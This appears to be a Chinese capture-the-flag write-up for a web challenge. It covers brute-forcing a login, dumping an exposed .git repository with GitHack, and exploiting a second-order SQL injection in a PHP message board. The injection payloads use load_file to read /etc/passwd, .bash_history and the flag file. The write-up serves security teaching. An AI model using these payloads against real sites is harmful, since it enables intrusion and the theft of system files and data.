网站的登录框里有提示
账号:zhangwei
密码:zhangwei***(后三位要自己猜)
用burpsuit抓包爆破发现密码为zhangwei666
进去后就一个留言榜(目前没发现怎么用)
扫一下网站发现git泄露
1.下载
进入root用户,下载克隆git hack库
git clone https://github.com/BugScanTeam/GitHack
下载完成后,进入GitHack,发现5个文件,说明ok了
2.使用
*****使用GitHack时,一定要在Git Hack目录下*****
python GitHack.py 链接/.git/
首先看kali中的python版本,GitHack必须使用python2
需要将python该为python2
python2 GitHack.py 链接/.git/
出现GitHack,就代表成功了,Githack目录下就会新增一个扫描的文件
然后就是用GitHack下载源码
python2 GitHack.py http://61.147.171.105:62125/.git/
下载的文件会在dist目录下
查看源码,发现好像代码不全
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
使用命令补全
git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
代码审计
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
发现存在sql二次注入,在代码comment模块中 $category没有进行过滤就直接放入了sql语句中
$category和$content我们可以控制
其中注意这个sql语句是换行的,我们要用/**/ 进行拼接
$sql = "insert into comment
set category = '111',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
在category 构造payload: 111',content=user(),/**
在详细里我们提交 */# 来闭合,这里得到了用户
同理构造查看密码
111',content=(select(load_file('/etc/passwd'))),/*
*/#
构造读取他的history文件,查看历史记录操作
111',content=(select (load_file('/home/www/.bash_history'))),/*
*/#
发现原本/tmp/html/目录下有个.DS_Store文件
构造查看这个文件
111',content=(select (load_file('/tmp/html/.DS_Store'))),/*
*/#
发现长度不够
构造HEX编码
111',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
*/#
发现是16进制编码
十六进制到ASCII文本
解码发现flag_8946e1ff1ee3e40f.ph文件
构造查看
111',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
*/#
同样解码,发现flag
$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";